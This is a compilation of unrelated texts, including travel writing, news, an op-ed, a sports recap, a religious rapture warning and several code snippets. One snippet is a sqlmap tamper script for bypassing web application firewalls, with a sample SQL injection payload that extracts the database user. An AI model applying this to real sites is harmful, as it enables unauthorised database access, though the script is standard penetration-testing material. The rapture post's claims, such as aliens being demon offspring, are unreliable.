We rode the Shirasagi (しらさぎ) express from Kanazawa to Toyama. It was comfortable enough, except for the small fact that the heating was set at about 40°C—and the windows don't open. Our forty-five minute journey was long enough to have a satisfying lunch of masu-no-sushi (ますのすし), a big circular block of sushi rice with a fish that I think is trout pressed on top.
Our stay in Toyama itselflasted about ten minutes—enough to walk to the other Toyama station to catch the private Dentetsu (電鉄) line up to Unazuki (宇奈月).
Slightly before Unazuki itself is Oritate and the Unazuki Beer Centre (宇奈月麦酒館). It's a small-scale brewery with a restaurant and shop attached. We both ordered the taster set: three 120ml glasses, one of each of their brews. Disappointingly, only one of them, the bock, was particularly nice.
It was already dark when we arrived in Unazuki—night seems to fall early in the mountains, which would after all make sense from a physics point of view.
Unazuki is an onsen resort that opened about eighty years ago, or so I judge by the "開温80周年" ("80th anniversary of opening the springs") signs around the place. In fact, the real hot spring is further up the Kurobe gorge (黒部峡谷) in Kuronagi (黒薙). Our hotel, the New Otani (ニューオータニ) thus offered a large, naturally-fed bath, which made the entire hotel smell a bit unpleasant, probably due to some sulphurous content in the water.
The accommodation was enormous—two rooms, a washroom with twin basins, bathroom and two separate toilets. All this was for two people—one of the benefits of travelling in a quiet season like late November, I'm sure. Once again, I took advantage of the bathing facilities that evening and the next morning—hot bath, hot outdoor bath (yes, they do have strategically-planted trees and well-positioned walls to spare the guests' blushes) and Jacuzzi, although sadly not the sauna as it was "故障中"—out of order.
After a very satisfying dinner and a huge breakfast at the buffet, it was time to leave for the last day of our voyage. The hotel staff kindly gave us a lift to the station, all of seven minutes' walk away.


For most people Shevaroys is an unfamiliar name which they have not heard too often. Yercaud! Sure it rings a bell! Yercaud has long been a stopover for foreign travelers; traders of the East India Company and even the first package tours during the early 20th century with the arrival of the first P & O passenger ship on the shores of the Indian Sub Continent.
All have echoed Charles Dickens's sentiment that "it is better than any other hill station in the south of India" and whilst Yercaud may have had its heyday, it has now become the new Riviera of sub continent and the perfect time warp for the inquisitive traveler.
Located 360 km south of Chennai, Yercaud is the quiet getaway hill station of Southern India and is the third largest hill station in Tamil Nadu with a very small population majority of who are the tribals and native villagers.
Yercaud is situated at an elevation of 4700 feet above the level of the sea on the Shevaroy hill range. The Shevaroy hills are a small outcrop of hills covering an area of about 385 square miles. There are 67 villages and 25 hamlets. The elevation ranges from 2500 feet to 5200 feet above the level of the sea. The mean temperature ranges between 22°C and 25°C. In winter temperature may rarely go below 10°C and on extremely hot days temperature may shoot unto 32°C. the average rainfall is about 45" to 60" from both the South West and the North East Monsoons. In years when the North East Monsoon is active and rainfall distributed upto the first fortnight of December the summers are generally mild, comfortable and enjoyable and we are spared from the misery of forest fires and water shortages.
The soil is laterite with generally poor depth compared to other coffee growing areas situated at an altitude of 4500 feet.
The taluk headquarters is located in Yercaud. Yercaud town is situated at an altitude of 4500 feet.
Yercaud is an ideal springboard to visit the beaches, the temples, the wild life reserves, the lowland tea estates, the rain forests and the local and chaotic markets and villages of Southern India.


As Foretold...They are rejected By The World. Notice Nobody Ever Asks You For Anything Ever!
lamb for our transgressions. We are healed through His blood sacrifice. He arose after being crucified on the 3rd day. He walked the earth for 40 days performing more miracles in front of thousands of witnesses. He went up into Heaven in the clouds in front of witnesses. He is returning as, "The Lion of Judah" to take back the earth from satan and the fallen angels.
To be saved you must open your heart and truthfully realize you have an inherent bad nature. You must humble yourself to Yahushua Hamashiach, Yeshua known as the Nazarene Jesus Christ...and ask Him to come into your heart and save you. This is available to all people of the earth that are sincere and come to Him in this manner like a child. Learn & follow ALL the 10 commandments including the Sabbath Day!
Acts 2:21And it shall come to pass, that whosoever shall call on the name of the Lord shall be saved.
UFO's & aliens Are the Demon offspring of Fallen Angels oR tHE fALLEN oNES HERE TO KEEP YOU FROM ESCAPING!
The Father, Jesus and the Holy Spirit in Heaven have given me warnings, visions & dreams. He told me to, "WARN THEM!"
Rapture Warning. I was Awakened by the Lord a little after midnight...I was taken to the place of safety & His Light and cried with the Father for those people on earth who have not looked for His forgiveness. He told me to make this warning for all to hear. Birds were singing loudly but our Saviour is crying for lost people to come home to Him and accept His free gift of salvation by believing who He is and seeking Him! We have free choice. The decision is yours to accept Jesus Christ, Yahushua Hamashiach, Messiah. Ask to be forgiven, turn back from sin and be cleansed in His blood. Receive the baptism by the Holy Spirit and be born again! become a new creature in Him, Jesus. Time is short! I pray this blesses whomever hears it. HalleLuYah, amen and amen!
Psa 84:3 Yea, the sparrow hath found an house, and the swallow a nest for herself, where she may lay her young, [even] thine altars, O LORD of hosts, my King, and my God.
Psa 124:7 Our soul is escaped as a bird out of the snare of the fowlers: the snare is broken, and we are escaped.
Our father In Heaven Told Me to warn you!
hE WANTS YOU TO BE SAVED!
How To be counted worthy to escape AND LIVE IN A NEW BODY!
Revelation 5:5 And one of the elders saith unto me, Weep not: behold, the Lion of the tribe of Ju'da, the Root of Da'vid, hath prevailed to open the book, and to loose the seven seals thereof.


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August 09, 2011 11:29 GMT
Dijana Milic had helped to expose a sex-for-grades scandal at Sarajevo University.
The sudden death of a maverick 44-year-old Bosnian prosecutor leaves many questions unanswered.
An investigation by Dijana Milic over the last two years had exposed a sex-for-grades scandal at Sarajevo University, which led to the suspension of a faculty dean and three professors and a prison sentence for a driver who arranged sexual favors for passing grades.
But Milic fell seriously ill last month after she was suspended following a dirty media campaign and the launch of an investigation into allegations she forced a witness in the case -- identified by the media as a prostitute -- into giving false statements.
Milic was admitted to a hospital in Bosnia's northern town of Tuzla in mid-July, where doctors diagnosed her with a serious metabolism disorder. Her family said she couldn't sleep or eat because of the accusations against her.
Her health continued to deteriorate. She died on August 5 after suffering a heart attack.
"She fell victim to the things she fought against all her life -- immorality, corruption, and crime," Milic's lawyer, Josip Muselimovic, says.
In a land rife with corruption and organized crime, all of which is impeding its postwar recovery, ethnic reconciliation, and European integration, Milic stood up to confront the long-rumored criminal activities at the Tuzla department of Sarajevo University's law school because fellow prosecutors from the capital could not -- or did not want to -- do it.
But she never received the full support of her colleagues, the media, the nongovernmental sector, or student associations.
"Because of her death, this society, if it's normal, should awaken and realize that the mafia is ready for everything in this country, even to kill an able prosecutor," says Sinan Alic of the Tuzla-based NGO called Truth, Justice, Reconciliation.
"When she was indicted, I said that was the biggest shame for the judiciary. It is shameful that prosecutors and lawyers, her colleagues, remained silent," Alic says. "Not all of them are corrupt. There are many decent men and women. But they all stayed silent. Had they spoken up, Dijana would be alive today and that case would have been brought to an end."
Two professors who gave passing grades in exchange for 500 to 1,000 euros or sexual favors from female students have been banned from lecturing for life by the university's Ethics Committee. The third professor and the dean of the law school have been suspended for two years.
However, it remains unclear whether the professors will be charged by the court now that the prosecutor they feared the most is dead.
Senad Pecanin, a respected journalist and commentator, says he is embittered because most media relied on questionable reporting to swoop in on Milic.
"This is a catastrophic process that Dijana paid for with her life," Pecanin says.
-- reporting by Maja Nikolic, written by Nedim Dervisbegovic
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Q: Check for wifi networks signal in sleep mode My objective is to be able to scan changes in Wi-Fi networks (mainly to check what networks are available). Right know I'm doing it by registering a reciever:
registerReceiver(wifiReceiver, new IntentFilter(WifiManager.RSSI_CHANGED_ACTION));

where WifiReceiver is my BroadcastReceiver.
The problem is that it works only when the phone is on. As soon as it goes to sleep mode (either by pushing the power button or after some time), the receiver stops receiving. I already acquired a wake lock in onCreate of my main class and releasing it in onDestroy (it's a partial wake lock). Additionally I've tried this:
Settings.System.putInt(getContentResolver(),Settings.System.WIFI_SLEEP_POLICY, Settings.System.WIFI_SLEEP_POLICY_NEVER);

to keep wifi from sleeping. Unfortunately that didn't help.
Is there any possibility to scan for network changes, even when phone is asleep? I want to be able to check what networks are in range (by SSID). Maybe I should use another action?
Appreciate your help.

A: Literally, no, the hardware isn't typically designed nor the low level drivers written to allow wifi to operate while the application CPU is in sleep mode - unlike the case with the mobile network interface which is intended to receive push events like phone calls, sms, and gmail "tickles".
So your choices are to either manage to successfully prevent the device from sleeping (good bye battery) or wake up periodically using an alarm, kick the wifi active, and poll the situation (still not good for battery life, but not as drastically so).

A: I'm afraid this sleep behaviour is managed by the system under (on Android 2.3.4) Settings > Wireless & Networks > Wi-Fi Settings > Press Menu > Advanced > Wi-Fi Sleep policy.
This could actually go against the users will, careful with that.
However I think there has to be a way to modify this param. programmatically, using this settings : Settings.System, and of course the corresponding permission in your manifest.

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Volodymyr's Baptism of Kyivan Rus: Ukraine's European choice then and now
Opinion editorial
Volodymyr the Great's choice of Orthodox Christianity as the official religion of Kyivan Rus' cemented the region within European civilization.
This weekend Kyiv will celebrate the 1025th anniversary of Grand Prince Volodymyr's decision in 988 to accept Christianity for the Kyivan Rus' Empire from the Mother Church of Constantinople, the then- unchallenged capital of Christendom and the world. The celebration will take place against the backdrop of a modern-day political and ecclesiastical choice regarding Ukraine's future direction, not dissimilar to the choice faced by Volodymyr in his time. The Ukrainian state and the Patriarchate of Moscow have (separately) expended significant efforts to ensure that Orthodox prelates from around the world and their civic leaders come to Kyiv to join in the festivities. Oddly, Kyiv will, therefore, host two parallel, but ideologically competing events, with the state trying to focus on Volodymyr's Kyiv legacy, and the Moscow Patriarchate placing Moscow and Russia at the center of the celebrations.
Ukrainian President Viktor Yanukovych will likely underscore Ukraine's desire to integrate into modern-day Europe by highlighting that Volodymyr's choice in the 10th century determined the European spiritual and civilization orientation of the Ukrainian people. By joining the ranks of European Christian nations, Kyiv became the center of Christianity in the eastern lands. It produced a vibrant spiritual and material culture, including in the areas of architecture, iconography, music and song, literature and education. Kyiv later spread the light of Christianity to all of the lands of Kyivan Rus', including present-day Russia and Belarus. Indeed, at the time of the Baptism of Kyiv, Moscow did not exist and would not become a settlement for another 150 years, when it adopted Christianity from the Metropolitan the See of Kyiv, its Mother Church.
On the other hand, Patriarch Kirill will hail the 1025th celebration as a demonstration of the unity of the Moscow Patriarchate, of its success following the collapse of the USSR in holding its faithful together, especially in Ukraine. The present celebration is an attempt to cement the Moscow Patriarchate as the Mother Church of Ukraine and, through propagation of its recently-minted ideology of "Russkiy Mir," (Russian World), to legitimize its claim over the historical lands of the ancient Rus' empire – Ukraine, western Russia and Belarus – the jurisdiction it seized from the Patriarchate of Constantinople in 1689, an annexation that has never been recognized by the latter.
Russkiy Mir is more of a political than an ecclesiastical ideology: it emphasizes the leading role of the Moscow Patriarchate in the region, collective responsibility over individual human rights, the guiding role of political institutions loyal to Moscow, rejection of "Western" values, and is ripe with anti-Muslim and anti-Catholic rhetoric. In general, it represents a chauvinistic, xenophobic, intolerant, and anti-modern expression of Russian Orthodox messianic exceptionalism. The ultimate purpose of Russkiy Mir is to exert hegemony over the Orthodox world, especially to split Ukraine from European influence and, once and for all, from the Mother Church of Constantinople. However, Russkiy Mir has little to offer the Orthodox world in terms of moral values or leadership, except continuous conflict with confessions of different views, coupled with myths about Russian "moral superiority" and promotion of the Kremlin's geopolitical policies to re-establish Russian control over neighboring post-Soviet states.
Unfortunately, in this tempest of competing agendas, the important spiritual dimension at the heart of the choices Ukrainians face is lost. Ruled by foreigners for much of its history, at independence in 1991 Ukraine had no indigenous institutions of government upon which to rely to build a modern society. Indeed, up to the annexation of the Ukrainian lands by Russia in the 17th century, it was the Church that provided a direct institutional link to Kyivan Rus' and maintained an institutional structure that extended across thousands of settlements, preserving and protecting the unique spiritual and cultural identity of the Ukrainian people.
This Kyivan church tradition was characterized by the absorption of European influences; a conciliar tradition of government with an enhanced role of the laity that governed the villages and towns as well; an institutional structure that informed the national identity; uniquely, use of the vernacular in the liturgy; and the emergence of a religious, literary and artistic culture that was specifically Ukrainian. Kyiv became the center of Orthodox learning and the Kyiv Theological School, founded by Kyiv Metropolitan Petro Mohyla (the precursor to today's Kyiv-Mohyla Academy) had contact with all of the major centres of higher learning in Europe. Importantly, since the Church was unified and undivided during the first 1,000 years of Christianity in Ukraine, this uniquely Ukrainian tradition formed both the Orthodox and the so-called Uniate Greek Catholics.
By contrast, during this period, the Russian Church had evolved into a highly absolutist structure, with a rigid hierarchy largely beholden to the state and was governed on the synodal model. At the time of Ukraine's annexation, Peter the Great absorbed the institutional infrastructure of the Kyivan Church into the Russian Church, hence, the Moscow Patriarchate's appropriation of the Kyivan Rus tradition as its own. This was followed by centuries of Russification, imperial Russian policies to eradicate the Kyivan Church Tradition and the Ukrainian language, and the denigration of Ukrainians as "Little Russians" (Malorosy), destroying their identity.
Yet, the Kyivan Church Tradition survived and went on to shape and inform the revival of a movement for an independent (autocephalous) church in Ukraine in the 20th century. Today, the Kyivan Church Tradition is reflected in the ideology of the non-Moscow-oriented parts of the Ukrainian Church, especially the Ukrainian Orthodox Church-Kyiv Patriarchate, the Ukrainian Autocephalous Orthodox Church and the Ukrainian Greek-Catholic Church. The Kyivan Church Tradition also underlies the rising tensions within the Ukrainian Orthodox Church-Moscow Patriarchate. At the very least, many hierarchs are unhappy with Patriarch Kirill's recent attempts to take direct control of this self-governing church, or, at most, desire spiritual union with their as yet non-recognized Orthodox brethren in a unified autocephalous Ukrainian Church. The failure of Russkiy Mir to take root in Ukraine is a testament to the depth of the Kyivan Church Tradition as part of the Ukrainian identity.
As among the largest Byzantine rite countries in the world, Ukraine is not only a geopolitical, but also an ecclesiastical fault line. Official statistics show that more people regularly attend church in Ukraine than in Russia, or anywhere else in Europe for that matter. Ultimately, religion in Ukraine informs people's choice of identity and political orientation, including whether to follow a European or a Eurasian future.
In this context, Ukrainians can still look to the Mother Church of Constantinople and "Europe's Orthodox Patriarch," Ecumenical Patriarch Bartholomew, on how to adapt the principles of the Kyivan Church Tradition to a modern European future. Under Patriarch Bartholomew, Orthodoxy is evolving in concert with the concerns of the modern world. He promotes a 21st century vision for the Church, concomitant with the values of the democratic and free world – a vision based on the inalienable freedom and dignity of the individual, firmly grounded in universal human rights, and each person's responsibilities for their behaviour before God and their fellow beings, including responsibility for the stewardship of the earth.
This message can provide a spiritual and political beacon for all Ukrainians who still struggle to overcome the legacy of communist oppression: corruption, political cynicism, mercantilist excess, the suppression of human rights, and, above all, economic and spiritual poverty. With 75% of Ukrainians claiming to be "Orthodox," by assisting to heal the divisions in the Orthodox Church in Ukraine under the moral guidance of the Mother Church of Constantinople, Patriarch Bartholomew can potentially help unify the various Orthodox formations and facilitate Ukraine's integration into the wider European community of democratic nations.
Ultimately, the Orthodox confessions in Ukraine will themselves decide on the course and timing of unification and Ukrainians will decide the direction of their political future. However, divisions in the Church and society can be reconciled without imposing alien ideologies, by drawing on a genuine native ecclesiastical tradition created by the baptism of Kyiv, one that can become firmly grounded in the principles of freedom and democracy.
-Daniel Bilak
Daniel Bilak is a Kyiv-based international lawyer
and adviser to various ecclesiastical entities
This article was originally printed in Kyiv Post, July 18, 2013
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Eagles Vs Panthers: Second Half Summary
The Eagles entered the half down 14-6, and immediately went down 21-6 after a 2 yard catch from Mike Tolbert. Tolbert is a big man; he is tough to bring down and he has likely never missed a meal in his life. It was his second total touchdown of the game, with the first coming from a rush in the first quarter. The Eagles offense answered back with a touchdown of their own on a 63 yard Ryan Mathews run.
On the next drive, Cam Newton went to former Daily Show host Johnathan Stewart for a couple of plays before throwing an interception to Byron Maxwell when the pass was tipped off of Devin Funchess' hands. The Eagles offense was able to drive a bit down the field before settling for a field goal, bringing the Eagles to within five.
Carolina's next offensive drive resulted in a punt, and the Eagles spent the rest of the third quarter and a bit of the fourth driving into Carolina territory. Sturgis was set up for a 50 yard field goal, but he missed it wide left. This is where remind the readers at home to never go full Sturgis.
They really have to get a new announcer to replace Cris Collinsworth on Sunday Night Football soon. When life gives you lemons, make lemonade. When NBC gives you Cris Collinsworth, make use of your mute button.
The ensuing three minute Panther drive resulted in a Graham Gano field goal from 35 yards out. The Eagles started their next drive by allowing a sack from Kawann Short, and were eventually forced to punt after a three and out. The offensive line has been shaky all game. With Peters gone, Bradford was constantly under duress. All of the false starts didn't help either.
On Carolina's next possession, the Panthers were running the ball well with Stewart, who had Eagles defenders bouncing off him. However, on a crucial 3rd and 2, they decided to go to the rookie Cameron Artis-Payne, who was stopped behind the first down marker, which forced Carolina to punt on the next play.
It was a good decision to punt however, as the Eagles were pinned inside the 10 to start their drive. A Jared Allen sack and forced fumble pushed the Eagles offense to the 4 yard line. A pass interference call eventually gave the Eagles the first down, but Jared Allen got to Bradford yet again, exposing Matt Tobin at left tackle. If Peters has to miss an extended period of time, they may have to look for an upgrade over Tobin either internally or through waivers.
They might also want to look elsewhere for a receiver with two hands as well. On 4th and 9, Bradford found Miles Austin over the first down line, but he dropped it, thus ending all chances of a victory. With Jordan Matthews and Austin dropping so many crucial catches, it will be tough to keep moving the chains.
On the positive side, the running game looked better, with Murray and Mathews combining for 162 rushing yards on 24 carries. It not only helped to set up the passing game, but it kept the offense on the field for longer periods of time.
The Eagles actually improved quite a bit in time of possession tonight from earlier in the season. The offense was on the field for much longer and the defense was able to get more rest. The Eagles spent nearly 31 minutes of the game on offense, up a lot from the usual 21 minute average from the first four weeks.
The game let everyone know how Carolina is still undefeated. They run the ball well, they stop opponents on defense, and they make the big plays when they need to be made. Those are the three major components of all the top teams in the NFL this season. The Eagles are improving in the first category, are excellent in the second category, but still aren't getting it done towards the end of the game.
Down by just one possession late in the game, they were never able to sustain a long enough drive to set them up for a game tying touchdown. The Carolina front seven was able to put pressure on Bradford and Jared Allen was able to sack him twice on the same drive. Kawann Short had a sack on Bradford on the prior drive. The Eagles offensive line was a weak point before the Peters injury. It's clear to see that they need to make a couple of changes this season if they want to win this division.
The receivers need to step up as well. Bradford has received his fair share of criticism this season, but he was putting the ball where it needed to be tonight when he wasn't busy getting sacked. The dropped passes are momentum killers and they ruin the trust between a QB and his receivers. Bradford is what he is; he can't just take a game over at will. His receivers need to help him out and set him up with a few more chances to score.
The Eagles are now 3-4 entering the bye week. Hopefully the Peters injury isn't too serious, but even if he is ready to go, Chip Kelly needs to make some adjustments and be ready to go for the last nine games.
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A Plum Empire: Chef Makini Howell's quest to make veganism part of U.S. food culture
by Jen Sotolongo
If Capitol Hill's upscale vegan restaurant Plum Bistro were one of those "how it started, how it's going now" memes, you'd see a photo of Chef Makini Howell driving around town in her parents' Toyota minivan selling tofu sandwiches alongside an image of the many beloved establishments that make up the Plum empire today.
What began as a mother/daughter sandwich shop has evolved into several vegan food businesses under the same umbrella. For a fancy date night, hit up Plum Bistro. At lunchtime, visit the salad bar at Plum Chopped or the Plum Burgers food truck. Have a sweet tooth? Sugar Plum will fix that craving. Planning an event? Yes, Plum caters, too.
There's also the Plum cookbook, oh and then there was that year Howell was hired as Stevie Wonder's personal tour chef (!)
When Howell's parents decided to become vegan after first going vegetarian nearly 50 years ago, they needed to figure out what to eat. At the time, the availability of vegan options were laughable, but her parents were committed to the lifestyle and figured out how to eat by preparing everything themselves.
Their kitchen experiments led to the creation of Hillside Quickies sandwiches, a line of seasoned tofu and seitan, a wholesale catering company, and Quickie Too, the family's Tacoma diner, which opened in the 1990s and is still run by her mother, Niombi, today.
"My mother liked egg sandwiches as a vegetarian, so she started selling tofu sandwiches and went from there," said Howell. "She showed people that you could do other things with tofu and really changed the natural food industry."
Born and raised in Tacoma, Howell moved across the country to New York City to pursue a career in graphic design and fashion. Food wasn't at the forefront during those years because she knew how to cook, thanks to growing up working in the family business.
It wasn't until she went out on a date with an attorney to a fancy restaurant when food suddenly mattered.
"There was nothing for me to eat," Howell recalled. "I realized as I started to look around, that if I wanted to go somewhere nice and go on a date with a professional man, there was nothing for the vegans to eat."
The idea to open a restaurant where vegans could enjoy a fine dining experience, like the nice places she ate in New York - started to play out in her head.
"I wanted to create something where people like me, young professionals who are cool and creative, could eat," she said.
Ready for a change from New York, Howell made the decision to return to the Northwest in 2005 after her mom talked her into opening a sandwich shop. What was meant to just be a six month gig, led to the opening of one of Seattle's most popular vegan restaurants.
Vegan before she was born, and having raised their children on organic, plant-based food, Howell credits her parents for laying the foundation for the Plum businesses today.
"My father created a plant-based product before many people gave diet much thought," she said of her late father James, who passed away in February 2021. He followed a vegan diet for 46 years. "He was the spark that lit the flame that will help to guide us to a better way of interacting with food."
Having made the conscious choice to remain vegan throughout her own life, Howell's creations don't try to imitate meat-based dishes or please the omnivorous crowd. She's not in the business of telling people how to eat.
"I want veganism to be cultural American food," said Howell.
What she does, and does well, is practice her craft so that when the people look for it, they know exactly where to go.
In June, Plum Bistro received a surge of attention during the Black Lives Matter protests. Located just outside of CHOP, the protester-occupied autonomous zone in Capitol Hill, the restaurant went from making $100 in a single day to bringing in over $10,000, figuring how to deal with the increase in demand on the fly.
With the shift toward plant-based eating growing more and more popular, Howell makes sure that she is always ready for the wave.
"Food is changing and there is a seismic shift happening in the food industry right now," said Howell. "At the end of this pandemic, the number of restaurants that will be gone is going to completely reshape the industry."
Howell has put a lot of thought into what Plum can do to navigate the pandemic.
When restaurants across Seattle put up tents, Howell went in search of an alternative, knowing that tents are temporary structures. Instead, they set up individual dining pods that are like mini greenhouses.
COVID mandates open-air dining, so the restaurant retrofitted a plexiglass see-through wall that kept out the cold air, but maintained airflow inside.
Howell also recognizes that in order to weather the storms, she must have a consistent team that will be there when she needs them.
Heavily involved in Seattle's minimum wage legislation, Howell pays her staff generous wages.
Managerial salaries range from $70-100k. Before the pandemic, servers were paid $26.50 per hour. Currently, the lowest paid employee earns $18 per hour and gratuity is divided among all staff. Further, she offers health insurance to workers.
"I want to keep the folks I have through COVID," she said. "The industry is built off camaraderie and it's sad and lonely right now. You can't ask people to keep going without paying them well."
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Q: Validating datetime entries in a model I'm playing with database and model in Rails, and I have a 'create tours' migration that looks like this
class CreateTours < ActiveRecord::Migration[5.2]
  def change
    create_table :tours do |t|
      t.string :name
      t.integer :price
      t.datetime :starts_at
      t.datetime :ends_at
    end
  end
end

I added a model Tour
class Tour < ApplicationRecord
  has_many :bookings, dependent: :destroy

  validates :name, presence: true,
                   uniqueness: { case_sensitive: false }
  validates :starts_at, presence: true
  validates :ends_at, presence: true
  validates :price, presence: true,
                         numericality: { greater_than: 0 }

  validate :end_time_is_valid

  def end_time_is_valid
    error_msg = 'Trip cannot ends before it began'
    errors.add(:ends_at, error_msg) if ends_at < starts_at
  end
end

And I added RSpec
RSpec.describe Tour do
  subject do
    described_class
      .create(
        name: 'Tour 1',
        starts_at: Time.zone.now,
        ends_at: Time.zone.now + 7200,
        price: 200
      )
  end

  let(:invalid_flight) do
    described_class.create(
      name: 'Tour 2',
      starts_at: Time.zone.now,
      ends_at: Time.zone.now - 7200,
      price: 200
    )
  end

  it { is_expected.to validate_presence_of(:name) }
  it { is_expected.to validate_presence_of(:starts_at) }
  it { is_expected.to validate_presence_of(:ends_at) }
  it { is_expected.to validate_presence_of(:price) }

  it { is_expected.to have_many(:bookings) }
end

Now, I'm getting an errors like
Flight should validate that :starts_at cannot be empty/falsy
     Failure/Error: errors.add(:ends_at, error_msg) if ends_at < starts_at

     ArgumentError:
       comparison of ActiveSupport::TimeWithZone with nil failed
     # ./app/models/tour.rb:18:in `<'
     # ./app/models/tour.rb:18:in `end_time_is_valid'
     # ./spec/models/tour_spec.rb:22:in `block (2 levels) in <main>'

What I'm trying to add is a validation that the end tour time cannot be before start tour time.
But the custom validation fails, and I'm not sure why.
I'm playing with Rails and I'm not sure how should I do this.
I'm using shoulda-matchers for testing.
Some simple models like User, which just has simple name and email validation is passing (no custom validations).
How do I validate this? Should I use numericality here as well?

A: Your validation is still invoked when starts_at is blank/nil, even though you've defined a presence validation: there's no hierarchy to the validations, so one failing can't cause others to be skipped.
Consequently, your validation method should just skip the check if either value is blank -- leaving the presence validation to record the error.
def end_time_is_valid
  return if starts_at.blank? || ends_at.blank?

  error_msg = 'Trip cannot ends before it began'
  errors.add(:ends_at, error_msg) if ends_at < starts_at
end


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using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Resources;

// Version information for an assembly consists of the following four values:
//
//      Major Version
//      Minor Version
//      Build Number
//      Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("0.2.0.08200")]
[assembly: AssemblyFileVersion("0.2.0.08200")]

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text:
"""
Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS

__priority__ = PRIORITY.HIGHER

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Adds versioned MySQL comment before each keyword

    Requirement:
        * MySQL < 5.1

    Tested against:
        * MySQL 4.0.18, 5.0.22

    Notes:
        * Useful to bypass several web application firewalls when the
          back-end database management system is MySQL
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
    "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!0%s" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
        retVal = retVal.replace(" /*!0", "/*!0")

    return retVal


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using CK.Core;
using System.Diagnostics;

namespace CK.Globbing
{
        ///
        /// Holds a compiled list of <see cref="Files"/> and an optional list of <see cref="Directories"/>.
        /// These files and directories are strictly sorted using <see cref="OrdinalComparer.Default"/>.
        /// <see cref="Add"/> and <see cref="Remove"/> methods use and maintain this property.
        ///
        public class FileNameList
        {
            CKReadOnlyListOnIList<string> _files;
            CKReadOnlyListOnIList<string> _dir;

            ///
            /// Initializes a new FileNameList that may hold <see cref="Directories"/>.
            ///
            /// <param name="withDirectories">True to hold directories. Otherwise, <see cref="Directories"/>
            /// will remain null.</param>
            public FileNameList( bool withDirectories )
            {
                _files = new CKReadOnlyListOnIList<string>( Array.Empty<string>() );
                if( withDirectories ) _dir = new CKReadOnlyListOnIList<string>( Array.Empty<string>() );
            }

            ///
            /// Initializes a new FileNameList with a list of file names.
            /// The list can be (or must be) sorted thanks to <see cref="StringComparer.Ordinal"/>.
            ///
            /// <param name="files">List of file names.</param>
            /// <param name="prefix">Prefix if not null nor empty will be added to every file.</param>
            /// <param name="mustSort">True if sort must be called. False if the list is already sorted.</param>
            public FileNameList( IEnumerable<string> files, string prefix, bool mustSort )
            {
                if( mustSort ) files = files.OrderBy( s => s, StringComparer.Ordinal );
                Debug.Assert( mustSort || files.IsSortedStrict( StringComparer.Ordinal.Compare ) );
                _files = new CKReadOnlyListOnIList<string>( files.ToArray() );
                if( prefix != null && prefix.Length > 0 )
                    for( int i=0; i < _files.Count; ++i ) _files.Values[i] = prefix + _files[i];
            }

            ///
            /// Sorted (thanks to <see cref="StringComparer.Ordinal"/>) list of file names.
            ///
            public IReadOnlyList<string> Files
            {
                get { return _files; }
            }

            ///
            /// Sorted (thanks to <see cref="StringComparer.Ordinal"/>) array of directory names.
            /// Null if not explicitely specified at creation time.
            ///
            public IReadOnlyList<string> Directories
            {
                get { return _dir; }
            }

            ///
            /// Gets the index of a given file name in the <see cref="Files"/> array.
            ///
            /// <param name="fName">File name to find.</param>
            /// <returns>A negative value if not found (it is the result of the <see cref="Array.BinarySearch"/>).</returns>
            public int IndexOfFile( string fName )
            {
                return Array.BinarySearch( (string[])_files.Values, fName, StringComparer.Ordinal );
            }

            ///
            /// Adds/combine another <see cref="FileNameList"/>. Duplicates are removed.
            ///
            /// <param name="x">Another <see cref="FileNameList"/> to combine to this object.</param>
            public void Add( FileNameList x )
            {
                _files.Values = SortedStringArray.SortedArrayAdd( (string[])_files.Values, (string[])x._files.Values, StringComparer.Ordinal.Compare );
                if( _dir != null ) _dir.Values = SortedStringArray.SortedArrayAdd( (string[])_dir.Values, (string[])x._dir.Values, StringComparer.Ordinal.Compare );
            }

            ///
            /// Removes (substracts) another <see cref="FileNameList"/>.
            ///
            /// <param name="x">Files and Directories that exist in x will be removed from
            /// this <see cref="FileNameList"/>.</param>
            public void Remove( FileNameList x )
            {
                _files.Values = SortedStringArray.SortedArrayRemove( (string[])_files.Values, (string[])x._files.Values, StringComparer.Ordinal.Compare );
                if( _dir != null ) _dir.Values = SortedStringArray.SortedArrayRemove( (string[])_dir.Values, (string[])x._dir.Values, StringComparer.Ordinal.Compare );
            }

            internal FileNameList( IEnumerable<string> files, IEnumerable<string> dir )
            {
                Debug.Assert( files.IsSortedStrict( StringComparer.Ordinal.Compare ) );
                Debug.Assert( dir == null || dir.IsSortedStrict( StringComparer.Ordinal.Compare ) );
                _files = new CKReadOnlyListOnIList<string>( files.ToArray() );
                if( dir != null ) _dir = new CKReadOnlyListOnIList<string>( dir.ToArray() );
            }

            public override string ToString()
            {
                return _files.ToString() + " / dir = " + _dir != null ? _dir.ToString() : "null";
            }
        }

    }


